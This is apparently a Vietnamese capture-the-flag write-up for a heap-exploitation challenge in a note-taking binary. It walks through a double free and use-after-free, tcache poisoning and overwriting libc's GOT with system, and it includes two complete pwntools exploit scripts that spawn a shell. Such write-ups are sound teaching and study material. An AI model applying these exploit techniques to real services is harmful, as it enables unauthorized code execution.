pwn - BugBounty
Dear hecker, We are The Inquisition, and we are excited to announce ourupcoming program, "Note" - a program for Space Marines tosave their notes. Before we officially release it, we need yourhelp to ensure its security. Therefore, we would like to invite YOU - elite hecker of TheImperium - to our bug bounty program. Emperor's light guidesyou. For the Emperor! The Inquisition
Setup
Chúng ta tiến hành chạy docker để lấy libc và loader.
ubuntu@hungnt-PC:~/ctf/bugbounty/player$ docker run --rm -p 5000:5000 --privileged -it bugbounty
[I][2025-10-15T14:56:54+0000] Mode: LISTEN_TCP
[I][2025-10-15T14:56:54+0000] Jail parameters: hostname:'app', chroot:'', process:'/app/run', bind:[::]:5000, max_conns:0, max_conns_per_ip:0, time_limit:20, personality:0, daemonize:false, clone_newnet:true, clone_newuser:true, clone_newns:true, clone_newpid:true, clone_newipc:true, clone_newuts:true, clone_newcgroup:true, clone_newtime:false, keep_caps:false, disable_no_new_privs:false, max_cpus:0
[I][2025-10-15T14:56:54+0000] Mount: '/' flags:MS_RDONLY type:'tmpfs' options:'' dir:true
[I][2025-10-15T14:56:54+0000] Mount: '/srv' -> '/' flags:MS_RDONLY|MS_NOSUID|MS_NODEV|MS_BIND|MS_REC|MS_PRIVATE type:'' options:'' dir:true
[I][2025-10-15T14:56:54+0000] Mount: '/proc' flags:MS_RDONLY|MS_NOSUID|MS_NODEV|MS_NOEXEC type:'proc' options:'' dir:true
[I][2025-10-15T14:56:54+0000] Mount: '/tmp' flags:MS_NOSUID|MS_NODEV type:'tmpfs' options:'size=1048576' dir:true
[I][2025-10-15T14:56:54+0000] Uid map: inside_uid:1000 outside_uid:1000 count:1 newuidmap:false
[I][2025-10-15T14:56:54+0000] Gid map: inside_gid:1000 outside_gid:1000 count:1 newgidmap:false
[I][2025-10-15T14:56:54+0000] Listening on [::]:5000ubuntu@hungnt-PC:~/ctf/bugbounty/player$ nc 0 5000
======= Welcome to "Note Application" =======
1. Add (add a note)
2. Delete (delete a note)
3. Write message (write your message into a note)
4. Print message (get your message from a note)
5. Save (save note into file)
6. Quit
[*] Your choice:ubuntu@hungnt-PC:~/ctf/bugbounty/player$ ps aux | grep /app/run
ubuntu 26596 0.0 0.0 2784 1516 ? SNs 21:57 0:00 /app/run
ubuntu 26849 0.0 0.0 6544 2336 pts/2 S+ 21:57 0:00 grep --color=auto /app/run
ubuntu@hungnt-PC:~/ctf/bugbounty/player$ gdb -p 26596
GNU gdb (Debian 16.3-5) 16.3
...
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x562fc8502000 0x562fc8503000 r--p 1000 0 /app/run
0x562fc8503000 0x562fc8504000 r-xp 1000 1000 /app/run
0x562fc8504000 0x562fc8505000 r--p 1000 2000 /app/run
0x562fc8505000 0x562fc8506000 r--p 1000 2000 /app/run
0x562fc8506000 0x562fc8507000 rw-p 1000 3000 /app/run
0x562fe5a6f000 0x562fe5a90000 rw-p 21000 0 [heap]
0x7fb94bf26000 0x7fb94bf29000 rw-p 3000 0 [anon_7fb94bf26]
0x7fb94bf29000 0x7fb94bf51000 r--p 28000 0 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7fb94bf51000 0x7fb94c0e6000 r-xp 195000 28000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7fb94c0e6000 0x7fb94c13e000 r--p 58000 1bd000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7fb94c13e000 0x7fb94c13f000 ---p 1000 215000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7fb94c13f000 0x7fb94c143000 r--p 4000 215000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7fb94c143000 0x7fb94c145000 rw-p 2000 219000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7fb94c145000 0x7fb94c152000 rw-p d000 0 [anon_7fb94c145]
0x7fb94c154000 0x7fb94c156000 rw-p 2000 0 [anon_7fb94c154]
0x7fb94c156000 0x7fb94c15a000 r--p 4000 0 [vvar]
0x7fb94c15a000 0x7fb94c15c000 r--p 2000 0 [vvar_vclock]
0x7fb94c15c000 0x7fb94c15e000 r-xp 2000 0 [vdso]
0x7fb94c15e000 0x7fb94c160000 r--p 2000 0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7fb94c160000 0x7fb94c18a000 r-xp 2a000 2000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7fb94c18a000 0x7fb94c195000 r--p b000 2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7fb94c196000 0x7fb94c198000 r--p 2000 37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7fb94c198000 0x7fb94c19a000 rw-p 2000 39000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffda0f08000 0x7ffda0f29000 rw-p 21000 0 [stack]ubuntu@hungnt-PC:~/ctf/bugbounty/player$ docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
d2fefaac1751 bugbounty "/jail/run" 3 minutes ago Up 3 minutes 0.0.0.0:5000->5000/tcp, [::]:5000->5000/tcp hardcore_volhard
ubuntu@hungnt-PC:~/ctf/bugbounty/player$ docker cp d2fefaac1751:/srv/usr/lib/x86_64-linux-gnu/libc.so.6 .
Successfully copied 2.22MB to /home/ubuntu/ctf/bugbounty/player/.
ubuntu@hungnt-PC:~/ctf/bugbounty/player$ docker cp d2fefaac1751:/srv/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 .
Successfully copied 243kB to/home/ubuntu/ctf/bugbounty/player/.Cuối cùng sử dụng pwninit để patch binary:
ubuntu@hungnt-PC:~/ctf/bugbounty/player$ pwninit --bin chall
bin: chall
libc: ./libc.so.6
ld: ./ld-linux-x86-64.so.2
copying chall to chall_patched
running patchelf on chall_patched
writing solve.py stubGLIBC Version
ubuntu@hungnt-PC:~/ctf/bugbounty/player$ strings libc.so.6 | grep "GLIBC "
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.8) stable release version 2.35.Phiên bản libc đang được sử dụng là 2.35.
Source Code
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int index_4; // eax
FILE *note_stream; // rbx
size_t msg_len; // rax
char is_opened; // [rsp+1Fh] [rbp-141h]
int index_1; // [rsp+20h] [rbp-140h]
int size; // [rsp+24h] [rbp-13Ch]
int index_2; // [rsp+28h] [rbp-138h]
int index_3; // [rsp+2Ch] [rbp-134h]
int nbytes; // [rsp+30h] [rbp-130h]
int index_4_tmp; // [rsp+38h] [rbp-128h]
int index_5; // [rsp+3Ch] [rbp-124h]
__int64 sizes[8]; // [rsp+50h] [rbp-110h] BYREF
char *messages[17]; // [rsp+90h] [rbp-D0h] BYREF
char nbytes_str[8]; // [rsp+11Ah] [rbp-46h] BYREF
__int16 v17; // [rsp+122h] [rbp-3Eh]
char choice[8]; // [rsp+124h] [rbp-3Ch] BYREF
int v19; // [rsp+12Ch] [rbp-34h]
char index_str[8]; // [rsp+130h] [rbp-30h] BYREF
int v21; // [rsp+138h] [rbp-28h]
char size_str[8]; // [rsp+13Ch] [rbp-24h] BYREF
int v23; // [rsp+144h] [rbp-1Ch]
unsigned __int64 canary; // [rsp+148h] [rbp-18h]
canary = __readfsqword(0x28u);
init(a1, a2, a3);
print_menu(a1);
is_opened = 0;
memset(messages, 0, 0x80u);
memset(sizes, 0, sizeof(sizes));
*choice = 0;
v19 = 0;
*index_str = 0;
v21 = 0;
*size_str = 0;
v23 = 0;
while ( 1 )
{
fflush(stdin);
if ( is_opened != 1 )
{
stream = fopen("saved_note.txt", "w+");
is_opened = 1;
}
puts(&new_line);
printf("[*] Your choice: ");
scanf("%2s", choice);
puts(&new_line);
if ( atoi(choice) == 1 )
{
printf(" Index: ");
scanf("%2s", index_str);
puts(&new_line);
index_1 = atoi(index_str);
if ( index_1 > 15 )
__assert_fail("iIdex < 16", "challenge.c", 0x38u, "main");
printf(" Size: ");
scanf("%10s", size_str);
puts(&new_line);
size = atoi(size_str);
messages[index_1] = malloc(size);
*(sizes + index_1) = size;
}
else if ( atoi(choice) == 2 )
{
printf(" Index: ");
scanf("%2s", index_str);
puts(&new_line);
index_2 = atoi(index_str);
if ( index_2 > 15 )
__assert_fail("iIdex < 16", "challenge.c", 0x48u, "main");
free(messages[index_2]);
}
else if ( atoi(choice) == 3 )
{
printf(" Index: ");
scanf("%2s", index_str);
puts(&new_line);
index_3 = atoi(index_str);
*nbytes_str = 0;
v17 = 0;
printf(" Size: ");
scanf("%10s", nbytes_str);
nbytes = atoi(nbytes_str);
if ( nbytes >= *(sizes + index_3) )
{
puts("[!] No more space !!!");
}
else
{
fflush(stdin);
if ( messages[index_3] >> 32 == size_str >> 32 )
{
puts("HERETICS !!!");
exit(0);
}
*(sizes + index_3) -= read(0, messages[index_3], nbytes);
}
}
else if ( atoi(choice) == 4 )
{
printf(" Index: ");
scanf("%2s", index_str);
puts(&new_line);
index_4 = atoi(index_str);
index_4_tmp = index_4;
if ( index_4 > 15 )
__assert_fail("iIdex < 16", "challenge.c", 0x71u, "main");
printf(" Data: ");
puts(messages[index_4_tmp]);
}
else if ( atoi(choice) == 5 )
{
printf(" Index: ");
scanf("%2s", index_str);
puts(&new_line);
index_5 = atoi(index_str);
if ( index_5 > 15 )
__assert_fail("iIdex < 16", "challenge.c", 0x7Du, "main");
puts("[*] Saving the note...");
note_stream = stream;
msg_len = strlen(messages[index_5]);
fwrite(messages[index_5], 1u, msg_len - 1, note_stream);
}
else
{
if ( atoi(choice) == 6 )
{
if ( is_opened )
fclose(stream);
exit(0);
}
puts("[!] You sure that is a command ??");
puts(&new_line);
}
}
}Mitigation

Solve
Binary bật FULL RELRO, chặn việc ghi đè lên GOT trong chính binary đó. Tuy nhiên, libc lại chỉ bật Partial RELRO. Do đó, hướng tấn công sẽ là cố gắng ghi đè GOT trong libc:

Trước tiên, ta cần leak địa chỉ libc để tính toán địa chỉ của hàm system() hoặc các one-gadget. Tiếp theo, ta sẽ leak địa chỉ heap để thực hiện tcache poisoning, dẫn đến cấp phát bộ nhớ tùy ý và từ đó ghi đè vào GOT.
Ở option 2, sau khi free(messages[index_2]);, con trỏ không được đặt về NULL, tạo ra lỗ hổng double free. Ở option 3, thiếu kiểm tra con trỏ, dẫn đến use after free. Ta sẽ lợi dụng những lỗ hổng này để thực hiện tcache poisoning.
Tại option 4, lệnh puts(messages[index_4_tmp]); cho phép ta kiểm soát được giá trị của messages[index_4_tmp]. Ta cần kiểm tra xem hàm puts có gọi đến một GOT entry nào trong libc mà ta có thể tận dụng hay không:




Vậy, ta sẽ ghi đè GOT entry của strlen tại offset 0x21a098 trong libc để chiếm được shell.
Script
#!/usr/bin/env python3
from pwn import *
exe = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.terminal = ['tmux', 'new-window']
context.binary = exe
gdbscript = '''
set follow-fork-mode parent
c
'''
p = None
if args.LOCAL:
p = process([exe.path])
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
else:
host = ""
port = 0
p = remote(host, port)
def add_note(index, size):
p.sendlineafter(b'choice:', b'1')
p.sendlineafter(b'Index:', str(index).encode())
p.sendlineafter(b'Size:', str(size).encode())
def delete_note(index):
p.sendlineafter(b'choice:', b'2')
p.sendlineafter(b'Index:', str(index).encode())
def write_message(index, size, message):
p.sendlineafter(b'choice:', b'3')
p.sendlineafter(b'Index:', str(index).encode())
p.sendlineafter(b'Size:', str(size).encode())
p.sendline(message)
def print_message(index):
p.sendlineafter(b'choice:', b'4')
p.sendlineafter(b'Index:', str(index).encode())
p.recvuntil(b'Data:')
SIZE_1 = 0x500 # Lớn hơn 0x410 byte để không đi vào tcache bin
SIZE_2 = 0x300 # Vào tcahce bin
add_note(0, SIZE_1)
for i in range(1, 3):
add_note(i, SIZE_2)
# Đưa chunk 0 vào unsorted bin
delete_note(0)
# Cấp phát chunk 0 và leak địa chỉ libc
add_note(0, SIZE_1)
print_message(0)
LIBC_BASE = u64(p.recvline().strip().ljust(8, b'\0')) - 0x21ace0
success(f'libc base: {hex(LIBC_BASE)}')
# Đưa chunk 1 vào tcache bin
delete_note(1)
# Cấp phát chunk 1 để leak địa chỉ heap
add_note(1, SIZE_2)
print_message(1)
HEAP_BASE = u64(p.recvline().strip().ljust(8, b'\0')) << 12
success(f'heap base: {hex(HEAP_BASE)}')
# Free chunk 2 vào trước, chunk 1 vào sau để thực hiện tcache poisoning
delete_note(2)
delete_note(1)
# Sử dụng use-after-free để ghi đè con trỏ fd đã encoded tại chunk 1
# Vì địa chỉ được cấp phát phải được aligned (chia hết 16), ta nên cấp phát tại 0x21a090, 0x21a080, 0x21a070,...
offset = 0x21a080
print(hex(LIBC_BASE + offset))
encoded_abs_got = (LIBC_BASE + offset) ^ (HEAP_BASE >> 12)
info(f"encoded abs got: {hex(encoded_abs_got)}")
write_message(1, 8, p64(encoded_abs_got))
# Cấp phát 2 lần để ghi vào GOT entry.
add_note(1, SIZE_2)
add_note(2, SIZE_2)
system = LIBC_BASE + libc.symbols['system']
log.info(f"libc system(): {hex(system)}")
payload = b'/bin/sh'.ljust(0x21a098 - offset, b'\0') + p64(system)
# Ghi đè GOT
write_message(2, len(payload), payload)
# system('/bin/sh')
print_message(2)
p.interactive()Hoặc chúng ta có thể sử dụng setcontext32 để mở shell:
Libc-GOT-Hijacking/Pre/README.md at main · n132/Libc-GOT-Hijacking
# shorter setcontext32
def liteContext(src: int,rsp=0,rbx=0,
rbp=0,rsi=0,rdi=0,rcx=0,
rdx=0,rip=0xDEADBEEF,) -> bytearray:
b = bytearray(0x200)
b[0x68:0x70] = p64(rdi)
b[0x70:0x78] = p64(rsi)
b[0x78:0x80] = p64(rbp)
b[0x80:0x88] = p64(rbx)
b[0x88:0x90] = p64(rdx)
b[0x98:0xA0] = p64(rcx)
b[0xA8:0xB0] = p64(rip)
b[0xA0:0xA8] = p64(rsp)
b[0xE0:0xE8] = p64(src) # fldenv ptr
# b[0x1C0:0x1C8] = p64(0x1F80) # ldmxcsr == 0
return b
libc.address = LIBC_BASE
def fx0(libc: ELF,nudge = 8, **kwargs) -> (int, bytes):
# nudge is used to make sure ldmxcsr == 0,
# aka [got + 0x1c8-0x68 + nudge + 0x1c0] == 0
got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
return got, flat(
p64(0),
p64(got + 0x1c8-0x68 + nudge), # Make sure ldmxcsr==0
p64(libc.symbols["setcontext"] + 32),
p64(plt_trampoline) * 0x36,
liteContext(libc.sym["execve"], rsp=libc.symbols["environ"] + 8, **kwargs)[0x68-nudge:0xe8])
dest, payload = fx0(
libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
)
write_message(1, 8, p64(dest ^ (HEAP_BASE >> 12)))
add_note(1, SIZE_2)
add_note(2, SIZE_2)
write_message(2, len(payload), payload)
p.interactive()